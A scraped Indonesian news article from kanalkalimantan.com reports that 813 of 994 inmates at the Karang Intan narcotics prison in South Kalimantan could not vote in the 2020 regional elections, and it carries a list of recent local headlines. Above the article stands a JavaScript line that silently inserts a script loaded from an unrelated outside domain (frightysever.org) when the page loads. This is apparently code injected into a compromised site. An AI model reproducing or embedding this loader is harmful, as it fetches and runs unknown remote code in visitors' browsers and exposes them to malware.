(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

813 Napi Lapas Karang Intan Tak Bisa Mencoblos


KANALKALIMANTAN.COM, MARTAPURA – Ratusan narapidana (Napi) warga binaan pemasyarakatan Lapas Narkotika Kelas IIA Karang Intan, tak bisa menggunakan hak politik mereka.

Tercatat ada sebanyak 813 Napi Lapas Karang Intan terpaksa absen dalam hajatan lima tahunan memilih kepala daerah di Kalsel.

Meski begitu masih ada 181 napi WBP yang antusias untuk menggunakan hak pilih pada Pilkada 2020 yang berlangsungdi aula ruang kunjungan Lapas Karang Intan, Rabu (9/12/2020) pagi.

Kepala Lembaga Pemasyarakatan (Kalapas) Narkotika Kelas IIA Karang Intan Sugito mengatakan, dari 994 warga binaan pemasyarakatan di Lapas Karang Intan, hanya ada 181 Napi yang bisa menggunakan hak pilihnya di Tempat Pemungutan Suara (TPS)  khusus. TPS khusus didirikan untuk memfasilitasi para Napi bisa menggunakan hak suara mereka.

 

Pencoblosan di TPS khusus Lapas Karang Intan, Rabu (9/12/2020). Foto: putra

“Dari 994 WBP, hanya 181 WBP yang yang bisa memilih tahun ini, jumlah tersebut sesuai yang sudah terdata dari KPU Kabupaten Banjar,” ujarnya.

Pemilihan kepala daerah di Lapas berlangsung dengan menerapkan protokol kesehatan Covid-19 secara ketat, dari ratusan Napi yang punya kesempatan mencoblos terlihat berbaris di pagar pembatas menyaksikan dan menunggu giliran pemungutan suara.

Sugito menyampaikan para Napi pemilih yang masuk ke TPS diberi masker dan dibekali sarung tangan. Tempat cuci tangan disediakan serta pemeriksaan suhu tubuh dilakukan melaksankan ketentuan KPU.

Masih menurut Kalapas Karang Intan, dari 181 WBP yang bisa memilih itu terbagi lagi untuk pemilihan Bupati Banjar sebanyak 34 WBP, sedangkan pemilihan Gubernur Kalsel sebanyak 179 WBP.

“Sementara 813 Napi lainnya yang tidak bisa mencoblos karena memilik KTP luar Kabupaten Banjar dan juga sudah terdata bahwa tidak menjadi pemilih,” tuturnya.

Dari Proses pemungutan suara dilaksanakan di TPS 3 Lapas Karang Intan yang dibuka pukul 08.42 Wita ini, ada sekitar 30 orang yang terdata melakukan pencoblosan.

Seluruh anggota KPPS merupakan pegawai Lapas. Pengawas pemungutan suara hadir bersama saksi Pasangan Calon (Paslon) dan personel TNI dan Polri di lokasi pencoblosan. (kanalkalimantan.com/putra)

Reporter : putra
Editor : bie

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.